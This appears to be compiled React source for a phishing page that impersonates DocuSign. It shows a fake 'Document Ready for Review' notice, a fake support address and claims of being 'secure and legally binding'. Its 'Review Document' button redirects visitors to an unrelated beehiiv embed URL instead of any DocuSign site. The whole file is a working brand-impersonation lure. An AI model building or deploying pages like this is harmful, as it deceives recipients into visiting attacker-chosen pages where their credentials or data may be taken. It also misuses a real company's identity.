function MainComponent() { const [loading, setLoading] = useState(false); const [error, setError] = useState(null); const handleReviewClick = useCallback(()=>{ setLoading(true); try { window.location.href = "https://embeds.beehiiv.com/d4dca511-7997-4178-88a6-32b2aa022bdd"; } catch (err) { setError("Unable to load document review page"); setLoading(false); } }, []); return /*#__PURE__*/ React.createElement("div", { className: "min-h-screen bg-[#F7FAFF] dark:bg-gray-900 font-inter", __source: { fileName: "", lineNumber: 17, columnNumber: 5 }, __self: this }, /*#__PURE__*/ React.createElement("header", { className: "border-b border-gray-200 dark:border-gray-700", __source: { fileName: "", lineNumber: 18, columnNumber: 7 }, __self: this }, /*#__PURE__*/ React.createElement("div", { className: "max-w-5xl mx-auto px-4 py-6", __source: { fileName: "", lineNumber: 19, columnNumber: 9 }, __self: this }, /*#__PURE__*/ React.createElement("div", { className: "flex items-center", __source: { fileName: "", lineNumber: 20, columnNumber: 11 }, __self: this }, /*#__PURE__*/ React.createElement("i", { className: "fas fa-file-signature text-[#2B5DE9] text-3xl", __source: { fileName: "", lineNumber: 21, columnNumber: 13 }, __self: this }), /*#__PURE__*/ React.createElement("span", { className: "ml-2 text-xl font-bold text-gray-900 dark:text-white", __source: { fileName: "", lineNumber: 22, columnNumber: 13 }, __self: this }, "DocuSign")))), /*#__PURE__*/ React.createElement("main", { className: "max-w-5xl mx-auto px-4 py-12", __source: { fileName: "", lineNumber: 29, columnNumber: 7 }, __self: this }, /*#__PURE__*/ React.createElement("div", { className: "text-center mb-12", __source: { fileName: "", lineNumber: 30, columnNumber: 9 }, __self: this }, /*#__PURE__*/ React.createElement("h1", { className: "text-4xl md:text-5xl font-bold text-gray-900 dark:text-white mb-4", __source: { fileName: "", lineNumber: 31, columnNumber: 11 }, __self: this }, "Document Ready for Review"), /*#__PURE__*/ React.createElement("p", { className: "text-gray-700 dark:text-gray-300 text-md md:text-lg max-w-2xl mx-auto mb-8", __source: { fileName: "", lineNumber: 34, columnNumber: 11 }, __self: this }, "A document has been shared with your team for review and signature. Please click below to begin the review process."), /*#__PURE__*/ React.createElement("div", { className: "mb-12", __source: { fileName: "", lineNumber: 39, columnNumber: 11 }, __self: this }, /*#__PURE__*/ React.createElement("button", { onClick: handleReviewClick, disabled: loading, className: "bg-gray-900 hover:bg-gray-700 text-white font-inter px-8 py-3 rounded transition-colors duration-200 disabled:opacity-50", __source: { fileName: "", lineNumber: 40, columnNumber: 13 }, __self: this }, loading ? /*#__PURE__*/ React.createElement("i", { className: "fas fa-spinner fa-spin", __source: { fileName: "", lineNumber: 46, columnNumber: 17 }, __self: this }) : /*#__PURE__*/ React.createElement(React.Fragment, null, "Review Document", /*#__PURE__*/ React.createElement("i", { className: "fas fa-arrow-right ml-2", __source: { fileName: "", lineNumber: 50, columnNumber: 19 }, __self: this }))))), /*#__PURE__*/ React.createElement("div", { className: "max-w-md mx-auto bg-gray-50 dark:bg-gray-800 rounded-lg p-6 mb-8", __source: { fileName: "", lineNumber: 57, columnNumber: 9 }, __self: this }, /*#__PURE__*/ React.createElement("div", { className: "flex items-center mb-4", __source: { fileName: "", lineNumber: 58, columnNumber: 11 }, __self: this }, /*#__PURE__*/ React.createElement("i", { className: "fas fa-file-alt text-[#2B5DE9] text-xl", __source: { fileName: "", lineNumber: 59, columnNumber: 13 }, __self: this }), /*#__PURE__*/ React.createElement("span", { className: "ml-2 text-gray-900 dark:text-white font-medium", __source: { fileName: "", lineNumber: 60, columnNumber: 13 }, __self: this }, "Document Details")), /*#__PURE__*/ React.createElement("ul", { className: "space-y-3 text-gray-700 dark:text-gray-300", __source: { fileName: "", lineNumber: 64, columnNumber: 11 }, __self: this }, /*#__PURE__*/ React.createElement("li", { className: "flex items-center", __source: { fileName: "", lineNumber: 65, columnNumber: 13 }, __self: this }, /*#__PURE__*/ React.createElement("i", { className: "fas fa-clock w-6", __source: { fileName: "", lineNumber: 66, columnNumber: 15 }, __self: this }), /*#__PURE__*/ React.createElement("span", { className: "ml-2", __source: { fileName: "", lineNumber: 67, columnNumber: 15 }, __self: this }, "Review time: ~5 minutes")), /*#__PURE__*/ React.createElement("li", { className: "flex items-center", __source: { fileName: "", lineNumber: 69, columnNumber: 13 }, __self: this }, /*#__PURE__*/ React.createElement("i", { className: "fas fa-signature w-6", __source: { fileName: "", lineNumber: 70, columnNumber: 15 }, __self: this }), /*#__PURE__*/ React.createElement("span", { className: "ml-2", __source: { fileName: "", lineNumber: 71, columnNumber: 15 }, __self: this }, "Electronic signature required")), /*#__PURE__*/ React.createElement("li", { className: "flex items-center", __source: { fileName: "", lineNumber: 73, columnNumber: 13 }, __self: this }, /*#__PURE__*/ React.createElement("i", { className: "fas fa-shield-alt w-6", __source: { fileName: "", lineNumber: 74, columnNumber: 15 }, __self: this }), /*#__PURE__*/ React.createElement("span", { className: "ml-2", __source: { fileName: "", lineNumber: 75, columnNumber: 15 }, __self: this }, "Secure and legally binding")))), error && /*#__PURE__*/ React.createElement("div", { className: "text-red-600 dark:text-red-400 text-center mb-4", __source: { fileName: "", lineNumber: 81, columnNumber: 11 }, __self: this }, error), /*#__PURE__*/ React.createElement("div", { className: "mt-12 text-center text-sm text-gray-600 dark:text-gray-400", __source: { fileName: "", lineNumber: 86, columnNumber: 9 }, __self: this }, /*#__PURE__*/ React.createElement("p", { __source: { fileName: "", lineNumber: 87, columnNumber: 11 }, __self: this }, "Need help? Contact support at support@docusign.com")))); }